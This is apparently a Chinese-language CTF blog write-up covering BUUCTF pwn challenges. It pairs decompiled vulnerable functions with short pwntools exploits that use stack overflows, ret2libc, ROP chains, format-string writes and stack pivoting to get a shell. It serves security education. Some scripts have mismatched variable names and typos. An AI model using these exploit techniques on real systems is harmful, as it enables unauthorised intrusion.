PWN-BUUCTF-1

本文最后更新于 2025年7月20日 下午

test_your_nc

连上就有shell

考点

  • 命令执行
    • cat
    • nc

利用nc链接到目标靶机

利用cat命令将文件内容输出到终端上

1
2
3
4
5
int __fastcall main(int argc, const char **argv, const char **envp)
{
system("/bin/sh");
return 0;
}

rip

考点

  • 后门+64位栈溢出
  • 栈平衡
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}

int fun()
{
return system("/bin/sh");
}
1
2
3
# Exp
payload = b'a'*(0xf+8) + p64(elf.sym['fun']+1)
## 等价于 payload = b'a'*(0xf+8) + p64(0x401186+1)

warmup_csaw_2016

考点

  • 后门+64位栈溢出
  • 数据获取
  • 重复利用函数
  • 栈平衡
1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
_BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF

write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
# Exp
payload = b'a'*(0x40+8) + p64(0x040061D+1)
## 等价于 payload = b'a'*(0x40+8) + p(elf.sym['main']+1),但是这个程序没有静态符号,导致无法使用这个代码
sendlineafter('WOW:',payload)
backdoor = int(recv(8),16)
log.success(hex(backdoor))

payload = b'a'*(0x40+8) + p64(backdoor+1)
sendline(payload)

# 数据提取有很多中方式
## 通过sendlineafter接受到指定字符串后发送,那么到指定字符串前所有无用字符都会被过滤掉
## 通过recvuntil(str)抛弃指定str(包括str)之前的所有字符,实现效果是一样的

ciscn_2019_n_1

两种解法

  • 直接栈溢出到shell上
  • 完成判断语句

考点

  • 栈溢出
  • 小数转换
1
2
3
4
5
6
7
8
9
10
11
12
13
int func()
{
_BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
1
2
3
4
5
6
# Exp
## 溢出到shell上
payload = b'a'*0x38 + p64(0x004006BE)

## 完成判断语句 struct.pack('>f', 11.28125).hex()
payload = b'a'*(0x30-0x4) + p32(0x41348000)

pwn1_sctf_2016

考点

  • 栈溢出+后门
    • 程序指定栈溢出规则(一个字符替换成三个字符)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int vuln()
{
const char *src; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
_BYTE v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
_BYTE v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
_BYTE v6[7]; // [esp+48h] [ebp-10h] BYREF
_BYTE v7[5]; // [esp+4Fh] [ebp-9h] BYREF

printf("Tell me something about yourself: ");
fgets(s, 0x20, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
(replace)(v3);
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
src = std::string::c_str(&input);
strcpy(s, src);
return printf("So, %s\n", s);
}
1
2
# Exp
payload = b'I'*20 + b'a'*4 + p32(elf.sym['get_flag'])

jarvisoj_level0

考点

  • 后门+64位栈溢出
  • 栈平衡
1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function(1LL);
}


ssize_t vulnerable_function()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}
1
2
# Exp
payload = b'a'*0x88 + p64(elf.sym['callsystem']+1)

[第五空间2019 决赛]PWN5

考点

  • fmt
    • 泄露数据+获取数据
    • 修改任意地址数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int a1)
{
time_t seed; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]

v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
seed = time(0);
srand(seed);
fd = open("/dev/urandom", 0);
read(fd, &buf_, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == buf_ )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Exp

## leak_pwd
payload = b'%12$saaa'+p32(0x0804C044)
## 等价于payload = b'%12$saaa'+p32(elf.sym['buf_'])
sendline(payload)
recvuntil('Hello,')
pwd = u32(recv(4))

sendlineafter('your passwd:',str(pwd))


## modify pwd
payload = fmtstr_payload(10,{0x0804C044:1})
## 等价于payload = b'%c%12$na'+p32(0x0804C044)
sendline(payload)
sendlineafter('your passwd:',str(1))

jarvisoj_level2

考点

  • 32位栈溢出(无后门)
  • 函数参数调整
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}


ssize_t vulnerable_function()
{
_BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF

system("echo Input:");
return read(0, buf, 0x100u);
}
1
2
# Exp
payload = b'a'*0x8c + p32(elf.plt['system']) + p32(0) + p32(elf.sym['hint'])

ciscn_2019_n_8

考点

  • 地址+数据类型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]

var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
1
2
3
# Exp
## 将var[13] == \x17即可
payload = p32(17)*14

bjdctf_2020_babystack

考点

  • 栈溢出
  • 栈平衡
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}
1
2
3
4
5
6
# Exp
## 保证能够溢出到返回地址即可
sendline(str(0x20))

payload = b'a'*0x18 + p64(elf.sym['backdoor']+1)
sendline(payload)

ciscn_2019_c_1

考点

  • 栈溢出
  • 编码
  • strlen绕过
  • Ret2libc
  • ROPgadget/ROPgadget获取
  • 函数参数调整
  • 数据获取
  • 函数的重复利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
int encrypt()
{
size_t x; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
x = (unsigned int)x;
if ( x >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}


int begin()
{
puts("====================================================================");
puts("1.Encrypt");
puts("2.Decrypt");
puts("3.Exit");
return puts("Input your choice!");
}



int __fastcall main(int argc, const char **argv, const char **envp)
{
int n2; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
n2 = 0;
__isoc99_scanf("%d", &n2);
getchar();
if ( n2 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( n2 == 3 )
{
puts("Bye!");
return 0;
}
if ( n2 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Exp
## 这里就将strlen绕过,编码的话只需要将你的payload给他,拿到编码后的payload再重新发送即可
## strlen遇到\x00结束,利用这个特性,payload开头以0开始即可

func_plt = elf.plt['puts']
func_got = elf.got['puts']
again = elf.sym['main']

overoff = 0x50+8-1

rdiRet = 0x0000000000400c83
Ret = 0x00000000004006b9
# ROPgadget --binary pwn --only 'pop|ret'

sla('choice!\n',str(1))

# gdp() 调试,查看是否获取到正确的got值,如果不,那么调整即可
payload = b'\x00'+overoff * b'a'
payload += p(rdiRet) + p(func_got) + p(func_plt)
# puts(puts@got)
payload += p(again)

sla("encrypted\n",payload)
ru('Ciphertext\n')
ru('\n')
funcAddr = u(rl().strip()[:6].ljust(8,b'\x00'))
print(hex(funcAddr))

libc = LibcSearcher('puts',funcAddr)
libcBase = funcAddr - libc.dump('puts')
SysAddr = libcBase + libc.dump('system')
StrAddr = libcBase + libc.dump('str_bin_sh')

sla('choice!\n',str(1))

payload = b'\x00'+overoff * b'a' + p(Ret) + p(rdiRet) + p(shellStr) + p(sysAddr)
# system('/bin/sh/\x00')
sl(payload)

# libc6_2.27-0ubuntu3_amd64

jarvisoj_level2_x64

考点

  • 64位栈溢出(无后门)
  • 函数参数调整
1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
vulnerable_function(argc, argv, envp);
return system("echo 'Hello World!'");
}

ssize_t vulnerable_function()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

system("echo Input:");
return read(0, buf, 0x200uLL);
}
1
2
3
rdiRet = 0x00000000004006b3

pyaload = b'a' * 0x88 + p(rdiRet) + p(elf.sym['hint']) + p(elf.plt['system'])

get_started_3dsctf_2016

考点

  • 缓冲区刷新
  • 栈溢出+后门
  • 函数参数调整
1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF

printf("Qual a palavrinha magica? ", v4[0]);
gets(v4);
return 0;
}
1
2
3
4
5
# Exp
## 这道题由于没有刷新缓冲区,那么就导致如果程序无法正常退出则无法显示flag
## 所以最后的返回地址我们要跳到exit(0)上->0x0804E6A0
## 还有就是栈溢出的数据大小并不是0x38+4,而是0x38,这个通过调试可以拿到/其他方法也行
pyaload = b'a' * 0x38 + p(elf.sym['get_flag']) + p(0x0804E6A0) + p(0x308CD64F) + p(0x195719D1)

[HarekazeCTF2019]baby_rop

考点

  • 栈溢出(无后门)
  • ROPgadget
  • 函数参数调整
1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF

system("echo -n \"What's your name? \"");
__isoc99_scanf("%s", v4);
printf("Welcome to the Pwn World, %s!\n", v4);
return 0;
}
1
2
3
4
binsh = 0x0601048
rdiret = 0x000400683

payload = b'a'*0x18 + p(rdiret) + p(binsh) + p(elf.plt['system'])

others_shellcode

考点

  • 系统调用shell

直接连上就有shell,主要是认识系统怎么实现shell的(侧重汇编)

1
2
3
4
5
6
7
8
9
10
int getShell()
{
int n11; // eax
char _bin__sh[9]; // [esp-Ch] [ebp-Ch] BYREF

strcpy(_bin__sh, "/bin//sh");
n11 = 11;
__asm { int 80h; LINUX - sys_execve }
return n11;
}

[OGeek2019]babyrop

考点

  • 栈溢出
  • Ret2libc
  • 数据接收
  • strlen绕过

这道题有问题

  • 本地的偏移并不是0xE7(可能是我机子的问题),远程环境的是对的
  • libcSearch出的libc无法打通,使用题目提供的libc可以打通
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int sub_80486BB()
{
alarm(0x3Cu);
signal(14, handler);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
return setvbuf(stderr, 0, 2, 0);
}

int __cdecl sub_804871F(int buf)
{
size_t n; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char bufa[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]

memset(s, 0, sizeof(s));
memset(bufa, 0, sizeof(bufa));
sprintf(s, "%ld", buf);
v5 = read(0, bufa, 0x20u);
bufa[v5 - 1] = 0;
n = strlen(bufa);
if ( strncmp(bufa, s, n) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)bufa[7];
}

ssize_t __cdecl sub_80487D0(char nbytes)
{
_BYTE buf[231]; // [esp+11h] [ebp-E7h] BYREF

if ( nbytes == 127 )
return read(0, buf, 0xC8u);
else
return read(0, buf, nbytes);
}

int main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]

sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Exp
func_plt = elf.plt['write']
func_got = elf.got['write']
again = 0x08048825

bufa = b'\x00' + b'\xff'*7
sl(bufa)

payload = junk(0xE7+4) + p(func_plt) + p(again) + p(1)+ p(func_got) + p(4)
sl(payload)
ru("Correct\n")

func_addr = u(r(4))
lgs(hex(func_addr))

libc = ELF('./libc-2.23.so')

libcBase = func_addr - libc.sym['write']

SysAddr = libcBase + libc.sym['system']
StrAddr = libcBase + next(libc.search(b'/bin/sh\x00'))

bufa = b'\x00' + b'\xff'*7
sl(bufa)

payload = junk(0xE7+4) + p(sysAddr)+ p(again) + p(shellStr)
sla('Correct',payload)

ciscn_2019_n_5

考点

  • 64位栈溢出
  • Ret2libc
1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char text[30]; // [rsp+0h] [rbp-20h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
puts("tell me your name");
read(0, name, 0x64uLL);
puts("wow~ nice name!");
puts("What do you want to say to me?");
gets(text);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Exp

func_plt = elf.plt['puts']
func_got = elf.got['puts']
again = elf.sym['main']

overoff = 0x20+8

rdiRet = 0x0000000000400713
Ret = 0x00000000004004c9

sl('1')

payload = overoff * b'a'
payload += p(rdiRet) + p(func_got) + p(func_plt)
payload += p(again)

sla("to me?\n",payload)

funcAddr = u(rl().strip()[:6].ljust(8,b'\x00'))
lgs(hex(funcAddr))

libc = LibcSearcher('puts',funcAddr)
libcBase = funcAddr - libc.dump('puts')
sysAddr = libcBase + libc.dump('system')
shellStr = libcBase + libc.dump('str_bin_sh')

sl('1')
payload = overoff * b'a' + p(Ret) + p(rdiRet) + p(shellStr) + p(sysAddr)

sl(payload)

not_the_same_3dsctf_2016

考点

  • 32位栈溢出+后门
  • 函数参数调整
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE v4[45]; // [esp+Fh] [ebp-2Dh] BYREF

printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(v4);
return 0;
}

int get_secret()
{
int v0; // esi

v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}
1
2
3
4
5
6
7
8
9
# Exp
## 将flag读到全局变量中,但是没有输出,我们找到write输出(printf、puts等)将其输出
## p(0)是上一个函数(backdoor)的参数,尽管它不需要参数,所以这里就起到了一个占位的作用。在观察write的汇编中可以看到,[esp+4]的位置是用不上的,但是如果不占位,那么我们构造的函数的参数就会出问题
backdoor = 0x080489A0
flag = 0x080ECA2D
Write = 0x00806E27A

payload = junk(0x2d) + p(backdoor) + p(Write) + p(0) + p(1) + p(flag) + p(45)
sl(payload)

ciscn_2019_en_2

就是ciscn_2019_c_1

ciscn_2019_ne_5

考点

  • 32位栈溢出(无后门)
  • 函数参数调整
  • ROPgadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
int __cdecl AddLog(char *src)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", src);
}

int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
_BYTE buf[60]; // [esp+4h] [ebp-44h] BYREF

*(_DWORD *)dest = 48;
memset(buf, 0, sizeof(buf));
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}


int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int s1_; // [esp+0h] [ebp-100h] BYREF
char src[4]; // [esp+4h] [ebp-FCh] BYREF
char buf_1[124]; // [esp+8h] [ebp-F8h] BYREF
char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
_BYTE buf[96]; // [esp+88h] [ebp-78h] BYREF
int *p_argc; // [esp+F4h] [ebp-Ch]

p_argc = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(buf, 0, sizeof(buf));
*(_DWORD *)src = 48;
memset(buf_1, 0, sizeof(buf_1));
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf("%100s", s1);
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
while ( 1 )
{
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
__isoc99_scanf("%d", &s1_);
switch ( s1_ )
{
case 0:
exit(0);
return result;
case 1:
AddLog(src);
break;
case 2:
Display(src);
break;
case 3:
Print();
break;
case 4:
GetFlag(src);
break;
default:
continue;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Exp
## 这道题也有毛病,我打libc打不了原因是我在写got的地址时候,它会重置到该字符串的头地址上,写其他地址则不会,脑子有坑吧
## junk是生成垃圾数据的一个函数
sh = 0x080482ea
# ROPgadget --binary pwn --string sh
## 其实这个看到有sh就可以,原字符串是fflush,从则截取的sh
sl('administrator')

sla('Exit\n:',str(1))
payload = junk(0x48+4) + p(elf.sym['system']) + junk(4) + p(sh)

sla('info:',payload)

sla('Exit\n:',str(4))

铁人三项(第五赛区)_2018_rop

考点

  • 32位栈溢出
  • Ret2libc
1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t vulnerable_function()
{
_BYTE buf[136]; // [esp+10h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
be_nice_to_people();
vulnerable_function();
return write(1, "Hello, World\n", 0xDu);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Exp
func_plt = elf.plt['write']
func_got = elf.got['write']
again = elf.sym['vulnerable_function']

overoff = 0x88+4

payload = overoff*b'a' + p(func_plt) + p(again) +p(1)+p(func_got)+p(4)

sl(payload)

func_addr = u(r(4))
lgs(hex(func_addr))

libc = LibcSearcher('write',func_addr)
libcBase = func_addr - libc.dump('write')
sysAddr = libcBase + libc.dump('system')
shellStr = libcBase + libc.dump('str_bin_sh')

payload = overoff*b'a' + p(sysAddr)+ p(again) + p(shellStr)
sl(payload)

bjdctf_2020_babystack2

考点

  • 64位栈溢出
  • 栈平衡
  • 整数溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}
1
2
3
4
5
# Exp
## int类型的负数强转为unsigned int会变得很大:-1 ----> 0xffffffff
sl(str(-1))
payload = junk(0x18) + p(elf.sym['backdoor']+1)
sl(payload)

jarvisoj_fm

考点

  • fmt
    • 修改任意地址数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
1
2
3
4
5
# Exp
x = 0x0804A02C
payload = fmtstr_payload(11,{x:4})
## 等价于payload = b'%4c%13$n' + p(x)
sl(payload)

bjdctf_2020_babyrop

考点

  • 64位栈溢出
  • Ret2libc
  • ROPgadget
1
2
3
4
5
6
7
ssize_t vuln()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Pull up your sword and tell me u story!");
return read(0, buf, 0x64uLL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Exp
func_plt = elf.plt['puts']
func_got = elf.got['puts']
again = elf.sym['vuln']

overoff = 0x20+8

rdiRet = 0x0000000000400733
Ret = 0x00000000004004c9

payload = overoff * b'a'
payload += p(rdiRet) + p(func_got) + p(func_plt)
payload += p(again)

sla("story!\n",payload)

funcAddr = u(rl().strip()[:6].ljust(8,b'\x00'))
lgs(hex(funcAddr))

libc = LibcSearcher('puts',funcAddr)
libcBase = funcAddr - libc.dump('puts')
sysAddr = libcBase + libc.dump('system')
shellStr = libcBase + libc.dump('str_bin_sh')

payload = overoff * b'a' + p(Ret) + p(rdiRet) + p(shellStr) + p(sysAddr)

sl(payload)

jarvisoj_tell_me_something

考点

  • 64位栈溢出+后门
  • 栈平衡
1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 buf_; // [rsp+0h] [rbp-88h] BYREF

write(1, "Input your message:\n", 0x14uLL);
read(0, &buf_, 0x100uLL);
return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}
1
2
# Exp
payload = junk(0x88) + p(elf.sym['good_game']+1)

ciscn_2019_es_2

考点

  • 栈迁移
  • 数据收集
1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Exp
## p(0)是call system的返回地址
## p(buf+0xc)---->/bin/sh\x00
leave_ret = 0x080485FD

payload = junk(0x24) + b'TTTT'
s(payload)
ru('TTTT')
main_ebp = u(r(4))
lgs(hex(main_ebp))

buf = main_ebp - 0x38
lgs(hex(buf))

payload = p(elf.plt['system']) + p(0) + p(buf+0xc) + b'/bin/sh\x00'
payload = payload.ljust(0x28,b'a') + p(buf-4) + p(leave_ret)
sl(payload)

[HarekazeCTF2019]baby_rop2

考点

  • 64位栈溢出
  • Ret2libc
  • ROPgadget
1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[28]; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+1Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("What's your name? ");
v5 = read(0, buf, 0x100uLL);
buf[v5 - 1] = 0;
printf("Welcome to the Pwn World again, %s!\n", buf);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Exp
func_plt = elf.plt['printf']
func_got = elf.got['read']
again = elf.sym['main']

overoff = 0x20+8 - 4

rdiRet = 0x0000000000400733
rsi_r15_ret = 0x0000000000400731
fmt = 0x0400770
Ret = 0x00000000004004d1

payload = overoff * b'a' + b'TTTT'
payload += p(rdiRet) + p(fmt) + p(rsi_r15_ret) + p(func_got) + p(0) + p(func_plt)
payload += p(again)

sla("name? ",payload)
rl()
ru('again, ')

funcAddr = u(rl().strip()[:6].ljust(8,b'\x00'))
lgs(hex(funcAddr))

libc = LibcSearcher('read',funcAddr)
libcBase = funcAddr - libc.dump('read')

sysAddr,shellStr = SLSysBin(libc,libcBase)

payload = overoff * b'a' + b'TTTT' + p(Ret) + p(rdiRet) + p(shellStr) + p(sysAddr)

sl(payload)

picoctf_2018_rop chain

考点

  • 栈溢出
  • 函数参数调整
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void win_function1()
{
win1 = 1;
}

int __cdecl win_function2(int a1)
{
int win1; // eax

win1 = (unsigned __int8)::win1;
if ( ::win1 && a1 == 0xBAAAAAAD )
{
win2 = 1;
}
else if ( ::win1 )
{
return puts("Wrong Argument. Try Again.");
}
else
{
return puts("Nope. Try a little bit harder.");
}
return win1;
}

int __cdecl flag(int a1)
{
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
FILE *stream; // [esp+3Ch] [ebp-Ch]

stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(s, 48, stream);
if ( win1 && win2 && a1 == 0xDEADBAAD )
return printf("%s", s);
if ( win1 && win2 )
return puts("Incorrect Argument. Remember, you can call other functions in between each win function!");
if ( win1 || win2 )
return puts("Nice Try! You're Getting There!");
return puts("You won't get the flag that easy..");
}

char *vuln()
{
char s[24]; // [esp+0h] [ebp-18h] BYREF

printf("Enter your input> ");
return gets(s);
}
1
2
3
4
5
# Exp
## 注意每个参数所需要的参数已经其的返回地址即可构造一个ROP链
payload = junk(0x1c) + p(elf.sym['win_function1']) + p(elf.sym['win_function2']) + p(elf.sym['flag'])
payload += p(0xBAAAAAAD) + p(0xDEADBAAD)
sl(payload)

pwn2_sctf_2016

考点

  • 32位栈溢出
  • 整数溢出
  • Ret2libc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int vuln()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int n32; // [esp+3Ch] [ebp-Ch]

printf("How many bytes do you want me to read? ");
get_n(nptr, 4);
n32 = atoi(nptr);
if ( n32 > 32 )
return printf("No! That size (%d) is too large!\n", n32);
